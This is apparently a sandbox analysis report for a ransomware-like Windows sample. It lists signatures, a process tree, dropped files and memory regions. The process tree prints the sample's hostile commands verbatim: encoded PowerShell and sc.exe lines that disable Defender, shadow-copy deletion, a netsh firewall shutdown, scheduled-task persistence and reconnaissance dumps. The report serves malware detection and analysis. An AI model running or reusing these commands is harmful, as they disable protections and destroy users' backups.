Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/04/2026, 06:41

General

  • Target
    classofcovid.org.exe
  • Size 51KB
  • Sample260424-hfzfcsby4p
  • SHA256 3dad0b75b8890714c4cb848706a8e149139e924ad6c6cce31480797336b297d9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe
    "C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4180
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4636
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4204
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3904
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3372
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2908
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4828
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5088
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4592
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1280
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3852
      • C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe
        "C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe"
        3⤵
          PID:976
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4592
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4140
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2428
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4392
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4704
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4764
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:2084
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4464
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4216
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:224
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3096
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1520
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2996
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:4060
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3688
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:3616
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1220
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:3372
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:1960
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1224
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:3904
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                  PID:2608
                • C:\Windows\System32\notepad.exe
                  "C:\Windows\System32\notepad.exe"
                  2⤵
                    PID:3428
                  • C:\Windows\System32\vssadmin.exe
                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:216
                  • C:\Windows\System32\wbem\WMIC.exe
                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:240
                  • C:\Windows\System32\net.exe
                    "C:\Windows\System32\net.exe" stop srservice
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1984
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop srservice
                      3⤵
                        PID:2288
                    • C:\Windows\System32\netsh.exe
                      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                      2⤵
                      • Modifies Windows Firewall
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:1684
                    • C:\Windows\System32\sc.exe
                      "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1712
                    • C:\Windows\System32\sc.exe
                      "C:\Windows\System32\sc.exe" stop i8042prt
                      2⤵
                      • Launches sc.exe
                      PID:2824
                  • C:\Windows\system32\LogonUI.exe
                    "LogonUI.exe" /flags:0x0 /state0:0xa39b6855 /state1:0x41c64e6d
                    1⤵
                    • Drops desktop.ini file(s)
                    • Modifies data under HKEY_USERS
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of SetWindowsHookEx
                    PID:3936
                  • C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe
                    C:\Users\Admin\AppData\Local\Temp\classofcovid.org.exe
                    1⤵
                      PID:2432
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3132

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          LockScreen___1920_1080_notdimmed.jpg

                          • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-312252282-3884318443-358092420-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                          • Size 868KB
                          • SHA256 29373b7d3c92cbb288df5fe8922333a889b9090ef92d30cf905b02a6cf22cf57
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 69KB
                          • SHA256 c4aebd921da8217b866f699cd6ab3dee0bf204a29485f6c16d1e18f02f66ecea
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 68KB
                          • SHA256 b27528a96dd025ca53d60383093819c039feb5ca5168e6e858104433835fc36b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          classofcovid.org.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\classofcovid.org.exe.log
                          • Size 660B
                          • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_ug1zdjy1.coa.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ug1zdjy1.coa.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 241B
                          • SHA256 47cdb6378411c247d944240acb12e2ea901026f051929e767792381218e1395e
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 242B
                          • SHA256 3dd334e7737e103292b07b49f958969446bbfc59a9fa029a126cd1b0c889c179
                          • MD5 SHA1 SHA512 TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 51KB
                          • SHA256 3dad0b75b8890714c4cb848706a8e149139e924ad6c6cce31480797336b297d9
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/2608-2252-0x000001864C790000-0x000001864C79C000-memory.dmp

                          memory/3428-2254-0x0000019412180000-0x0000019412181000-memory.dmp

                          memory/4180-1-0x000000001BC20000-0x000000001BC30000-memory.dmp

                          memory/4180-2248-0x000000001BC20000-0x000000001BC30000-memory.dmp

                          memory/4180-2247-0x0000000001860000-0x000000000186C000-memory.dmp

                          memory/4180-0-0x0000000000FA0000-0x0000000000FB4000-memory.dmp

                          memory/4180-14-0x000000001E290000-0x000000001E452000-memory.dmp

                          memory/4180-15-0x000000001EC30000-0x000000001F158000-memory.dmp

                          memory/4592-2234-0x0000016417D50000-0x0000016417D5C000-memory.dmp

                          memory/4636-27-0x000001FF9B4B0000-0x000001FF9B4D2000-memory.dmp

                          memory/4636-30-0x000001FF9B2D0000-0x000001FF9B2DC000-memory.dmp